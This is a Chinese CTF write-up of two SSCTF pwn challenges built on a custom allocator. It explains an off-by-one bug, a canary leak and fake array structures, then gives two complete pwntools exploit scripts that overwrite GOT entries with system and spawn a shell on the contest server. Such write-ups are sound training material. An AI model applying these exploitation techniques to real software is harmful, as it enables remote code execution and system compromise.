上周末的SSCTF,题目还是非常好的,不过自己能力有限,花了很长时间只做出来2道pwn题。

pwn1 binary
pwn2 binary

2个题很相似,都是自己实现了一个内存分配器,通过一个自定义的chunk结构来记录空间,一开始的时候malloc一个65536的内存来存放数据。程序功能是输入数据进行排序,数组的头部记录了其size,可以对其中任意的元素进行修改和查询。如果执行了sort操作就会记录history,支持reload history,其中history结构也是和数组结构放在一起由这个自己实现的分配器来管理的。

chunk结构大概长这样

1
2
3
4
5
6
struct chunk {
int size; //chunk的大小
int inuse; //是否在使用
int* mem; //实际分配指向的内存(可能是array也可能是history)
struct chunk* next; //下一块
}

chunk的数据都是使用malloc来分配的

history结构大概长这样

1
2
3
4
struct history{
int* array; //指向array结构
struct history* next; //下一条history
}

array结构大概长这样

1
2
3
4
struct array{
int size; //数组的大小
int* data; //数据
}

chunk和history都是单链表组织的

pwn1

程序中存在一个off-by-one的漏洞,在update数组元素时,会发生下标越界,可以读或者写其后面一个DWORD型的数据。因为history和array都是放在一起的,这就意味着可以改写下一个history的array结构或者下一个array的size结构。当一个array没有执行sort操作,则会在结束退出时调用释放函数(不妨称为ifree)将inuse置0,可以为下一次分配所用,所有的chunk是按大小从小到大排列,且只有分裂操作没有合并操作。如果一个array执行了sort操作,则会调用分配函数(不妨称为ialloc)为history分配一个8字节的空间,同时不会将array对应的那个chunk的inuse置0.

这样在reload这个history时,程序会从history中找到array的大小,即history -> array -> size,然后分配4 * (size + 1)字节的空间,使用memcpy把之前的元素复制过来,然后进行同样的sort过程。一旦ialloc找不到能够分配的chunk就会报Out of memory并结束程序。

这样一来,需要合理地改写array的size才能让ialloc不报错,通过一系列的构造,让一个array出现在另一个array的前面,然后利用off-by-one改写它的size为0x40000003,接着reload下一个array,这时ialloc接受到的大小4 * (0x40000003 + 1) = 16,不会出现Out of memory,但此时这个array的size就是0x40000003,意味着我们可以利用大index来改写后面真正的glibc heap上的chunk数据,此时将前面某个8字节chunk的inuse改为0并将mem指向strcmp_got-8,接着输入sort命令分配array,就能够得到一个数组元素为1的array,这个array溢出直接能够读写strcmp的got,将其改写为system的地址。回到主菜单,输入/bin/sh即可得到shell。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
#!/usr/bin/env python
# coding: utf-8

from pwn import *

def add_sort(number, sort=False, overflow=None):
p.recvuntil('_CMD_$')
p.sendline('sort')
p.sendline(str(number))
for i in range(number):
p.sendline(str(number*10))
if sort:
p.sendline('3')
if overflow:
p.sendline('2')
p.sendline(str(number))
p.sendline(str(overflow))
p.sendline('7')

strcmp_got = 0x804d03c
puts_got = 0x804d030

libc_strcmp = 0x77c30
libc_system = 0x3bc90
ssoffset = libc_system - libc_strcmp

chunk8 = 0x805e088
array16 = 0x804e044
offset = (chunk8 - array16) / 4 + 2

p = remote('pwn.lab.seclover.com', 11111)

add_sort(1)
add_sort(5)
add_sort(7, True)
add_sort(5, False, 0x40000003)

# change chunk to strcmp_got
p.recvuntil('_CMD_$')
p.sendline('reload')
p.sendline('0')
p.sendline('2')
p.sendline(str(offset))
p.sendline(str(strcmp_got - 8))
p.sendline('7')

p.recvuntil('_CMD_$')
p.sendline('sort')
p.sendline('1')
p.sendline('10')
p.sendline('1')
p.sendline('1')
p.recvuntil('result: ')
strcmp = int(p.recvuntil('\n', drop=True))
system = strcmp + ssoffset
print '[+] strcmp @ %#x' % (strcmp & 0xffffffff)
print '[+] system @ %#x' % (system & 0xffffffff)

p.sendline('2')
p.sendline('1')
p.sendline(str(system))
p.sendline('3')
p.sendline('7')

p.recvuntil('_CMD_$')
p.sendline('/bin/sh')

p.interactive()

pwn2

与pwn1的逻辑基本相同,不过array的结构变成了这样

1
2
3
4
5
struct array{
int size; //数组的大小
int canary;
int* data; //数据
}

此时在size后面多了一个canary的结构,程序在开始时random一个数放在全局变量magic中,然后每次分配array都执行canary = magic ^ size,在update或者query时检查canary ^ size是否等于magic,如果不等直接退出程序。

此种设计让我们无法轻易通过off-by-one溢出size来修改内存,只能通过溢出history的array指针来进行利用。我们可以将下一个history结构的array指针指向任意地址,然后输入history命令就可以通过Len的输出leak任意内存。所以我们能够leak出magic的值,而如果不修改直接读array指针就能获得heap的地址。

接下来通过heap地址的计算,我们在某个array的中间伪造一个fake的array结构,使其size=0x40000002,canary=0x40000002^magic即可,然后再溢出下一个history的array指针指向这个fake array,执行reload操作,就可以获得和pwn1相同的效果了。

不过本题的利用还有坑,由于这次主菜单中没有使用strcmp函数,唯一可以触发的函数是strtol,但是strtol函数的got正好位于_IO_getc函数的got之后,如果像pwn1那样利用,_IO_getc函数的got就被破坏了,但这个函数是程序读入使用的函数,破坏之后程序就崩溃了。

在这里卡了很久,想到还是使用reload功能,让memcpy来帮我们把system的地址拷过去,先要leak出_IO_getc的地址,然后算出system地址,接着分配一个array,在其中布置_IO_getc的地址和system的地址。在修改了chunk数据后,reload这个array,memcpy会把这块数据memcpy到新分配的地址也就是strtol_got-12的位置,_IO_getc函数还是被覆盖成原来的地址,strtol却变成了system,此时直接输入/bin/sh就能得到shell。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
#!/usr/bin/env python
# coding: utf-8

from pwn import *

strtol_got = 0x804c01c
getc_got = 0x804c018
canary_addr = 0x804c04c
magic_size = 0x40000002

# remote
libc_getc = 0x642c0
libc_system = 0x3bc90
soffset = libc_system - libc_getc

target1 = 0x8489118
target2 = 0x84890e8
vul_array = 0x84790b0 + 8

offset1 = (target1 - vul_array) / 4
offset2 = (target2 - vul_array) / 4

p = remote('pwn.lab.seclover.com', 22222)

p.recvuntil('_CMD_$')
p.sendline('sort')
p.sendline('2')
p.send('10\n10\n')
p.sendline('3')
p.recvuntil('is: ')
p.sendline('1')
p.sendline('2')
# leak heap address
p.recvuntil('result: ')
array1_addr = int(p.recvuntil('\n', drop=True)) & 0xffffffff
fake_array_addr = array1_addr + 16 + 8 + 24 + 24 + 24 + 8
copy_array_addr = fake_array_addr + 16
print '[+] first array @ %#x' % array1_addr
print '[+] fake array will @ %#x' % fake_array_addr
# overwrite to get canary
p.sendline('2')
p.sendline('2')
p.sendline(str(canary_addr))
p.sendline('7')

# get canary
p.recvuntil('_CMD_$')
p.sendline('history')
p.recvuntil('Len = ')
canary = int(p.recvuntil(',', drop=True)) & 0xffffffff
print '[+] canary = %#x' % canary

# leak getc got
p.recvuntil('_CMD_$')
p.sendline('sort')
p.sendline('2')
p.send('10\n10\n')
p.sendline('3')
p.sendline('is: ')
p.sendline('2')
p.sendline('2')
p.sendline(str(getc_got))
p.sendline('7')

p.recvuntil('_CMD_$')
p.sendline('history')
p.recvuntil('ID = 1, Len = ')
getc = int(p.recvuntil(',', drop=True))
system = getc + soffset
print '[+] _IO_getc @ %#x' % (getc & 0xffffffff)
print '[+] system @ %#x' % (system & 0xffffffff)

# prepare for reload
p.recvuntil('_CMD_$')
p.sendline('sort')
p.sendline('2')
p.send('20\n20\n')
p.sendline('3')
p.sendline('2')
p.sendline('0')
p.sendline(str(getc))
p.sendline('2')
p.sendline('1')
p.sendline(str(system))
p.sendline('7')

# repeat the process to ensure the history
p.recvuntil('_CMD_$')
p.sendline('sort')
p.sendline('2')
p.send('20\n20\n')
p.sendline('3')
p.sendline('2')
p.sendline('0')
p.sendline(str(getc))
p.sendline('2')
p.sendline('1')
p.sendline(str(system))
p.sendline('7')

p.recvuntil('_CMD_$')
p.sendline('sort')
p.sendline('2')
p.send('20\n20\n')
p.sendline('3')
p.sendline('2')
p.sendline('0')
p.sendline(str(magic_size))
p.sendline('2')
p.sendline('1')
p.sendline(str(magic_size ^ canary))
p.sendline('2')
p.sendline('2')
p.sendline(str(fake_array_addr))
p.sendline('7')

# reload #1
p.recvuntil('_CMD_$')
p.sendline('reload')
p.sendline('1')
p.sendline('2')
p.sendline(str(offset1 + 1))
p.sendline('0')
p.sendline('2')
p.sendline(str(offset1 + 2))
p.sendline(str(strtol_got - 12))
p.sendline('2')
p.sendline(str(offset2 + 2))
p.sendline(str(copy_array_addr))
p.sendline('7')

# reload #2 overwrite strtol got

p.recvuntil('_CMD_$')
p.sendline('reload')
p.sendline('2')
p.sendline('/bin/sh')

p.interactive()

当然利用的时候也需要注意修复一些数据,防止程序检测到问题以后直接退出,这个应该不太困难。

小结

本次的2个pwn题都还是挺不错的,在自己实现的内存管理器上进行漏洞利用,比较有意思。感觉我的pwn水平还真是有待提高,找到利用方法用了好久,最终写出exploit也用了好久,中间犯了很多低级错误,踩了很多的坑。不过总算还是搞出来了没有留下遗憾,希望自己以后能够越来越熟练吧。